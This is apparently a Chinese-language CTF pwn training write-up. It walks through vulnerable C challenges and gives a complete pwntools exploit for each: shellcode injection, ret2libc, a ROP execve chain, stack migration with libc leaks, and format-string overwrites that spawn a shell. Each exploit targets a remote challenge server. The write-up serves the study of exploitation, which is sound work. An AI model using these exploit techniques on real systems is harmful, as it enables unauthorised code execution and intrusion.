Basic Pwn train (stack)
Basic Pwn train (stack)
Basic Pwn train (stack)
源码和payload可以在我的git找到:
https://github.com/B3t4M3Ee/banana/tree/master/Pwn
ret2sc
#include <stdio.h>
char name[50];
int main(){
setvbuf(stdout,0,2,0);
printf("Name:");
read(0,name,50);
char buf[20];
printf("Try your best:");
gets(buf);
return ;
}
checksec pwn
发现没有开任何保护
我们可以看到有两次输入
第二次输入有个buffer overflow
所以我们可以
利用第一次输入写入shellcode
第二次覆盖返回地址返回到第一次的shellcode
可以构造exploit:
from pwn import *
p=remote('121.42.189.18',10003)
offset=32
shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
log.info(len(shellcode))
payload=shellcode
p.recv()
p.sendline(payload)
p.recv()
p.sendline('A'*offset+p32(0x804A060))
p.interactive();
ret2lib
#include <stdio.h>
void See_something(unsigned int addr){
int *address ;
address = (int *)addr ;
printf("The content of the address : %p\n",*address);
};
void Print_message(char *mesg){
char buf[48];
strcpy(buf,mesg);
printf("Your message is : %s",buf);
}
int main(){
char address[10] ;
char message[256];
unsigned int addr ;
puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0,address,10);
addr = strtol(address);
See_something(addr) ;
printf("Leave some message for me :");
fflush(stdout);
read(0,message,256);
Print_message(message);
puts("Thanks you ~");
return 0 ;
}
源代码如上 只开了NX保护 有两次输入 No1:输入一个地址 返回其上内容 可以leak libc addr
No2:输入data将会strcpy到栈上 可以buffer overflow
思路:
利用第一个输入点泄露system地址
第二个输入点利用buffer overflow 构造system 的 function call
exploit:
from pwn import *
p=remote('121.42.189.18',10004)
printf_got=134520848
offset=60
print p.recvrepeat(1)
p.sendline(str(134520848))
data= p.recvuntil('\n')
print data[-11:]
printf_addr=int(data[-11:],16)
log.info(hex(printf_addr))
libc=ELF('./libc6_2.23-0ubuntu9_i386.so')
base=printf_addr-libc.symbols['printf']
libc.address=base
bash=libc.search('/bin/sh').next()
system_addr=libc.symbols['system']
payload='A'*offset+p32(libc.symbols['system'])+p32(0xdeadbeef)+p32(bash)
p.sendline(payload)
p.interactive();
easyrop
#include <stdio.h>
int main(){
char buf[20];
puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
read(0,buf,100);
}
保护只开了NX
但是发现下载的demo是static编译的 so
ROPgadget –binary pwn3
//也可以用one_gadget
拥有了大量gadget的我们可以利用各种gadget 构造一次systemcall
from pwn import *
p=remote('121.42.189.18',10005)
p.recv()
bss=ELF('./pwn3').bss()
int80=0x080493e1
pppr=0x0806e850
eax_ret=0x080bae06
elf=ELF('./pwn3')
offset=32
pop_edx_ret=0x0806e82a
mov_esp_exc_ret=0x080bb066
mov_ptr_eax_edx_ret=0x0807b301
payload=offset*'A'+p32(pop_edx_ret)+p32(0x6e69622f)+p32(eax_ret)+p32(bss)+p32(mov_ptr_eax_edx_ret)+p32(pop_edx_ret)+p32(0x68732f2f)+p32(eax_ret)+p32(bss+4)+p32(mov_ptr_eax_edx_ret)+p32(eax_ret)+p32(11)+p32(pppr)+p32(0)+p32(0)+p32(bss)+p32(int80)
p.sendline(payload)
p.interactive();
后来发现同类的题目可以用one_gadget秒杀。。。
migration
#include <stdio.h>
int count = 1337 ;
int main(){
if(count != 1337)
_exit(1);
count++;
char buf[40];
setvbuf(stdout,0,2,0);
puts("Try your best :");
read(0,buf,64);
return ;
}
看着名字感觉应该是关于 stack migration
read()有buffer overflow
但是只有5*4字节 发现read+3参数+ret_addr刚好5个
我们可以利用bss上的空闲地带进行 stack migration
利用ropgadget很容易发现了leave_ret pop_ret
于是思路:
利用stack migration 泄露整个libc
得到system,get
然后构造两次function call
第一次写/bin/sh
第二次call system
exploit:
from pwn import *
offset=44
leave_ret=0x08048503
pop_ebx_ret=0x0804836d
read_plt=0x8048380
puts_plt=0x8048390
elf=ELF('./pwn')
main=elf.symbols['main']
bss=elf.bss()
buf1=bss+0xa00
buf2=bss+0xc00
p=process('./pwn')
p=remote("121.42.189.18",10006)
p.recvline();
payload='Y'*40+p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(200)
p.send(payload)
def leak(addr):
global buf1,buf2,delay
buf1,buf2 =buf2,buf1
payload=p32(buf1)+p32(puts_plt)+p32(pop_ebx_ret)+p32(addr)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(200)
p.sendline(payload)
data=p.recvrepeat(0.1)[:-1]+"\x00"
return data
ptr_libc=leak(0x8049ff0)[:4]
d=DynELF(leak,main,elf=elf)
system=d.lookup('system','libc')
gets=d.lookup('gets','libc')
p.sendline(p32(0xdeadbeef)+p32(gets)+p32(system)+p32(buf1)+p32(buf1+4))
p.interactive();
crack
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
unsigned int password ;
int main(){
setvbuf(stdout,0,2,0);
char buf[100];
char input[16];
int fd ;
srand(time(NULL));
fd = open("/dev/urandom",0);
read(fd,&password,4);
printf("What your name ? ");
read(0,buf,99);
printf("Hello ,");
printf(buf);
printf("Your password :");
read(0,input,15);
if(atoi(input) != password){
puts("Goodbyte");
}else{
puts("Congrt!!");
system("cat /home/crack/flag");
}
}
开了NX和Canary
不过问题不大
源码本来就有
system(“cat /home/crack/flag”);
so 我们可以令
atoi(input) == password
input我们可以控制但是password不知
可是在比较之前的几行有个fmtstr漏洞
printf(buf);
我们可以利用这里的漏洞来更改password
so思路:
利用fmtstr漏洞修改password
exploit:
from pwn import *
p=remote('121.42.189.18',10007)
bss=0x804a048
log.info(hex(bss))
payload=fmtstr_payload(10,{bss:1})
p.sendline(payload)
p.recv()
p.interactive();
xme
#include <stdio.h>
int magic = 0 ;
int main(){
char buf[0x100];
setvbuf(stdout,0,2,0);
puts("Please crax me !");
printf("Give me magic :");
read(0,buf,0x100);
printf(buf);
if(magic == 0xda){
system("cat /home/craxme/flag");
}else if(magic == 0xfaceb00c){
system("cat /home/craxme/craxflag");
}else{
puts("You need be a phd");
}
}
发现和crack基本一样 思路: 利用fmtstr漏洞修改magic
exploit:
from pwn import *
p=remote('121.42.189.18',10008)
bss=0x804a038
payload=fmtstr_payload(7,{bss:0xfaceb00c})
p.recv()
p.sendline(payload)
p.recv()
p.interactive();
不过老潘表示此题可以getshell 可能会有彩蛋吧
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char buf[200] ;
void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}
void play(){
puts("=====================");
puts(" Magic echo Server");
puts("=====================");
do_fmt();
return;
}
int main(){
setvbuf(stdout,0,2,0);
play();
return;
}
思路:
fmtstr漏洞可以
泄露libc可以泄露栈上__libc_start_main内的一个地址
根据函数内偏移算出share lib’s base
泄露栈地址 推算各个返回地址的地址
和之前我遇到的fmtstr的不同之处是
buffer在bss上所以难以一次改写整个地址
但是因为有个quit的条件退出
只要不输入quit就不会退出
so
我们可以每次改一位
然后将do_fmt_ret改成system call
then 输入quit
exploit:
from pwn import *
def lv_up(num):
while(num<0 or num > 255):
if(num<0):
num=num+256;
if(num>255):
num=num-256;
return num;
'''
elf=ELF('/lib/i386-linux-gnu/libc.so.6')
p=process('./4-4')
'''
elf=ELF('./libc6_2.23-0ubuntu9_i386.so')
p=remote('121.42.189.18',10009)
#'''
print p.recvline();
print p.recvline();
print p.recvline();
payload='%15$p%6$p'
p.sendline(payload)
data=p.recvuntil('8\n')
im=0xf7
im2=0xf3
leak_libc=int(data[:10],16)
leak_stack=int(data[10:-1],16)
log.info("leak_libc:%s",hex(leak_libc))
log.info("leak_stack:%s",hex(leak_stack))
leakfunc=leak_libc-im
base=leakfunc-elf.symbols['__libc_start_main']
elf.address=base
system=elf.symbols['system']
bash= elf.search('/bin/sh').next()
s1=system&0xff
s2=system&0xff00
s2=s2>>8
s3=system&0xff0000
s3=s3>>16
s4=system&0xff000000
s4=s4>>24
b1=bash&0xff
b2=bash&0xff00
b2=b2>>8
b3=bash&0xff0000
b3=b3>>16
b4=bash&0xff000000
b4=b4>>24
off=leak_stack&0xff;
off=off-16;
payload="%c%c%c%c%{}c%hhn%{}c%10$hhn".format(off,lv_up(s1-off-4))
p.sendline(payload)
p.recv()
off+=1;
payload="%c%c%c%c%{}c%hhn%{}c%10$hhn".format(off,lv_up(s2-off-4))
p.sendline(payload)
p.recv()
off+=1;
payload="%c%c%c%c%{}c%hhn%{}c%10$hhn".format(off,lv_up(s3-off-4))
p.sendline(payload)
p.recv()
off+=1;
payload="%c%c%c%c%{}c%hhn%{}c%10$hhn".format(off,lv_up(s4-off-4))
p.sendline(payload)
p.recv()
off+=5;
payload="%c%c%c%c%{}c%hhn%{}c%10$hhn".format(off,lv_up(b1-off-4))
p.sendline(payload)
p.recv()
off+=1;
payload="%c%c%c%c%{}c%hhn%{}c%10$hhn".format(off,lv_up(b2-off-4))
p.sendline(payload)
p.recv()
off+=1;
payload="%c%c%c%c%{}c%hhn%{}c%10$hhn".format(off,lv_up(b3-off-4))
p.sendline(payload)
p.recv();
off+=1;
payload="%c%c%c%c%{}c%hhn%{}c%10$hhn".format(off,lv_up(b4-off-4))
p.sendline(payload)
p.recv()
p.sendline("quit");
p.interactive();